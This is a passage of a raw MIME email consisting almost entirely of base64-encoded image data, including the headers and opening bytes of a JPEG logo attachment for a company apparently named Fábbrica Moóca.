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 ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: image/jpeg; name="=?utf-8?Q?F=C3=81BBRICA=5FMO=C3=93CA=5FLOGO=5B3=5D.jpg?=" Content-Transfer-Encoding: base64 Content-ID: <800D7EF4620245C8888276855F97325C@ROBERTOAZEVEDO> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkI CQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQ EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAEYARwDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5FKOT 8wqRYlYbSeasuFf7oFMEJHz+nOK8c7Ri2xUUnlnOMVZRs8EUjrgZAoAr+V70eSh+8ak2vjOw0Ac4 ZTQSNWOJTxS7Fc4UVIqoeSKCEU5Q/WmtwW4oTAwDUch2jIFK8gAwDTAd4wTVFDA5kOAKkUOBgjil SEDkGns4A2gUmDdhgCfxU5SAeD9KjdCxyDihCTxSsxc1x7Ng5zTXdn6ikc7etCsWGCuPrTUbj1FB RELd6heUE0roxPBqIAE5z060+UNSQPkdKQAlsihlAQEHrT1Axk0co1ew8fMOO1O8wKME1DuIJApu 4k4ajlIdyeN0YktTJdhbOKRZI0I3HqcZqR1ywJT3osTYAqFBjrTmLBOBSNGTyDj2pXcRp8xxRZhY RJWAANI7sTx+NQpMWb5RmpGZgOVoKBUDnk1KMIMZ9qhLlT8opVdmIzQA9z6GmkgrjNNdhnBNChiO BmgBvnFTtqZGVhkio/IOdxFSIAoxjNAAxTpiv1h+A/x68RePPhxYeJNRZ/PuGYNk+wP9a/J5iufu 1+jv7KyqPg1pQCj77dv9la6sL1MavQ/OWNSDmpSQDzSBlXkg012UgkGuI6LjyYwM4pN4Y7RUSup7 mpYzGrbqAFwQNtRsuDmns6k5U0kjIVAB5osybMjbpTCWAwOnenk5GaidyOFFNDRGQ5ORT0yp5pAz ZyaUEvJgDtVDJhJgdKY2VPmE8HtUbFiDjnHpT4dshVGcbicKueTVJNiauOWcOcKlOlCFcs4j9ax/ EeqXnhyRY7vT7iAOMq7phSPrXH3vibUdQDASBV7EHtT5Wa04JnbXOrWFkSXmD4GTzWXceNrEDMCk muIMk7ktJIzfypoYHrGBVxj3OpUO500njq6DYit/xNdx8JtF1Dx9PqZZ1VLWIv8ApXkaMA2SAfav eP2ZQI9H8WXIXa6WzEHPGMVfKhOlGOjPJ9W1zWLDUruyWdAsEpRTjPQ1WHivWAMfa0/75rOvbnz9 Qupsffmcluvc1XJYnIb9KOVFRpJrQ2E8V6qjZklEgPoMVoWvjOVRiaLNcycuAC2MdT2FJJlMHOQ3 QjoaOVEzoqO53tl4t066JjvWSGNRuBPrWxFcieFZAWWN/uORwaofCf4T3HjW8bV9chFvotpzJNId uSPSvTbfVPB/izxhB4M0GwQ6Zpq7ZJl6kjiocTlkrM4NirDc0pZhxx0qIyFzsJz9ai8falD4O8b3 uiQRA2cRBRj15qG01K11MCWGULnnGeaVg5JNXLsa7GIqRmJ70xWUpuB4XjJ70B8JvYEA9M1m0zNx a3F2N60oVgc5pokY9qTzT3FIRKFVuTT1O3gVWLOTlelPSTPyt1oAsM4xyageQg5BpTkjg1EyvnPH WgAMjnoa/Sf9lf8A5I3pX++3/oK1+bQVwMnFfpL+yv8A8kb0r/fb/wBBWurC9TGr0PzomAA4NQEn HJqRiG6mkZVKkZ5riNiMkDoKFYk4JoERB+9SldozQA7I9aRzgcUgOaCAeA1WUBY461ETk5FDMM7Q KaxKMGYfL3I7UbgxGDHkClBdY9zkKvrSPdwwxtNKQI1HUnFcV4h8Zm9cWumgrGTtLe9WkVGNzb1r xVbaXA8VsweTB/Ou2bS7O1+EUHjiSMjUpHBhPbPavBZDJK7mVyzAdTX0J4xmkt/2aNIRcBmmXnHO OK1irGjhZGj4E8aeHfjH4ZPgXxzDBb6qFKQXAAH05rxb4gfD/V/h1qz6dqUDtblyIpQMgr2Nc/Z3 t1p06XtlO0c6sCHB5r6I8I+M9C+MXh7/AIRHxgkcWtCPy7aZzndgcVRUI8ruz51IdSNkg8sjOaSu i8feANZ+H2svpWqRNJbsxaG4H3WFc8yHarqchuvtQdcal2kNILDANe/fAgix8BeJ7rGDLbsufwrw 